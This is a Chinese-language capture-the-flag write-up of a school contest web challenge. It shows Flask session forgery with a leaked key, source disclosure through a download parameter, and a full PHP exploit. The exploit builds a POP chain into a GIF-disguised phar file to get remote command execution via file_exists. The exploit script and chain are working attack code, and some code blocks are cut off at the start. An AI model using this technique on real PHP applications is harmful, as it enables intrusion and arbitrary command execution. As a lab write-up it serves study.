校赛ez_web(文件上传与phar反序列化的碰撞)

校赛ez_web(文件上传与phar反序列化的碰撞)_第1张图片

打开注册框,尝试注册admin不允许,随便注册一个进入看看框架是flask框架

出现home,flag,kiss_me,logout四个选项

校赛ez_web(文件上传与phar反序列化的碰撞)_第2张图片

都点一边发现kiss_me给了一个guetsec的字符串

flag是下载了fakeflag.txt打开就是一个假的flag

但是发现下载是有一个参数filename传,抓包看看发现cookie处是一个session。这是个flask框架

flask框架的session值的第一段是base64加密的用户信息,第二段是数据包的时间戳,第三段是key加密后的值.若要伪造session就要有key

于是想到前面给的guetsec可能是session的key.于是尝试伪造session登录admin账户

得到session后替换数据包中的session并放包发现成功登录上admin

校赛ez_web(文件上传与phar反序列化的碰撞)_第3张图片

这时再抓包去访问upload和you_can_find_what_you_want页面就可以看到,upload是一个文件上传的界面,且查看源代码发现有一个class.php的注释

再到另一个文件下载的页面,前面修改filename的值总说是没有权限,现在是admin就可以尝试去访问文件,于是就改filename的值为刚刚看到的class.php发现源码

校赛ez_web(文件上传与phar反序列化的碰撞)_第4张图片

 得到class.php的代码

name='Spr1te3';
    }
 
    public function __destruct(){
        echo $this->name;
    }
}
 
class B{
    private $shell;
    public $func;//func=system()
 
    public function __construct(){
        $this->shell=new D();
    }
 
    public function __get($var){
        $this->$var->{$this->func}($_POST['cmd']);
    }
}
 
class C{
    public $GUET;//GUET=B
    public $CTF;
 
    public function __construct($GUET){
        $this->GUET=$GUET;
    }
 
 
    public function Spr1te3($var){
        $GUET=$this->GUET;
        $sec=$this->GUET->$var;
    }
 
 
    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);//method=Spr1te3&&var=D
        return $this->CTF;
    }
}
 
class D{
    public $func;
    public $arg;//cat flag
 
    public function __construct(){
        $this->func;
        $this->arg;
    }
 
    public function __call($func,$arg){
        $func($arg[0]);
    }
}

$filename=$_GET['filename'];
file_exists($filename);

不知道用途再去看看文件上传,打开发现只能上传gif文件。而且看到文件上传是在upl0ad.php文件中,于是利用同样的方法下载源代码发现upl0ad.php的检测规则

if ($_FILES["file"]["type"] == "image/gif" && strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION)) == "gif" && validate_gif_header($_FILES["file"]["tmp_name"]))

 大概意思就是白名单检查了文件头和尾缀和MIME.这里一开始以为是二次渲染然后利用文件下载处触发,后面尝试不行又想用Nginx解析漏洞,但是好像版本不对。。

后面看提示后得知是phar反序列化触发rce.

观看上面的pop链

首先是切入点是A类中的__destruct()

echo $this->name;

 令name为B类触发B类中的__toString()

$this->{$_POST['method']}($_POST['var']);

 调用自身的类中的Spr1te3()

$sec=$this->GUET->$var;

 利用GUET=new B()调用B类中的私有变量触发__get($var)

    public function __construct(){
        $this->shell=new D();
    }
    public function __get($var){
        $this->$var->{$this->func}($_POST['cmd']);
    }

 这里传入的var为shell私有变量,并可以在__construct()触发时修改shell的值为D类(shell=new D())从而使调用D类中一个不存在的函数时触发__call($func,$arg)这里$func应该是一个全局变量既作为一个D类中没有的函数又作为__call()中$func($arg[0])执行的函数,无疑就是RCE中想要的system()函数了,而$arg就是前面$this->$var->{$this->func}($_POST['cmd'])中POST传入的cmd参数的值了,显然就是system要执行的命令了

如此一条完整的pop链就构造出来了

A::__destruct()-->C::__toString()-->C::Spr1te3($var)-->B::__get($var)-->D::__call($func,$arg)

 链子构造好后,就看到file_exists()函数,这个函数是用于检查指定路径的文件或目录是否存在的函数。在这里可以利用这个函数触发phar文件的反序列化。

 最终exp:


name='Spr1te3';
    }
 
    public function __destruct(){
        echo $this->name;
    }
}
 
class B{
    private $shell;
    public $func;
 
    public function __construct(){
        $this->shell=new D();
    }
 
    public function __get($var){
        $this->$var->{$this->func}($_POST['cmd']);
    }
}
 
class C{
    public $GUET;
    public $CTF;
 
    public function __construct($GUET){
        $this->GUET=$GUET;
    }
 
 
    public function Spr1te3($var){
        $GUET=$this->GUET;
        $sec=$this->GUET->$var;
    }
 
 
    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
    }
}
 
class D{
    public $func;
    public $arg;
 
    public function __construct(){
        $this->func;
        $this->arg;
    }
 
    public function __call($func,$arg){
        $func($arg[0]);
    }
}

$a=new A();
$b=new B();
$c=new C();
$a->name=$c;
$b->func='system';
$c->GUET=$b;

$phar = new Phar("f.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.''); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

 注意:在生成phar之前一定要确保php.ini配置文件中的phar.readonly 改为Off

 之后利用编译器运行该php文件生成phar文件,生成后改文件尾缀为gif

将文件上传到服务器上

校赛ez_web(文件上传与phar反序列化的碰撞)_第5张图片

之后就是在class.php文件下传入参数filename(GET),method(POST),var(POST),cmd(POST)

校赛ez_web(文件上传与phar反序列化的碰撞)_第6张图片

 总结:

在有可控文件变量的条件下利用phar://协议可以将任意尾缀的文件当phar文件去解析从而触发反序列化(指在对方服务器的特定函数下)

受影响的函数:

校赛ez_web(文件上传与phar反序列化的碰撞)_第7张图片

参考:利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

你可能感兴趣的:(ctf,web,php)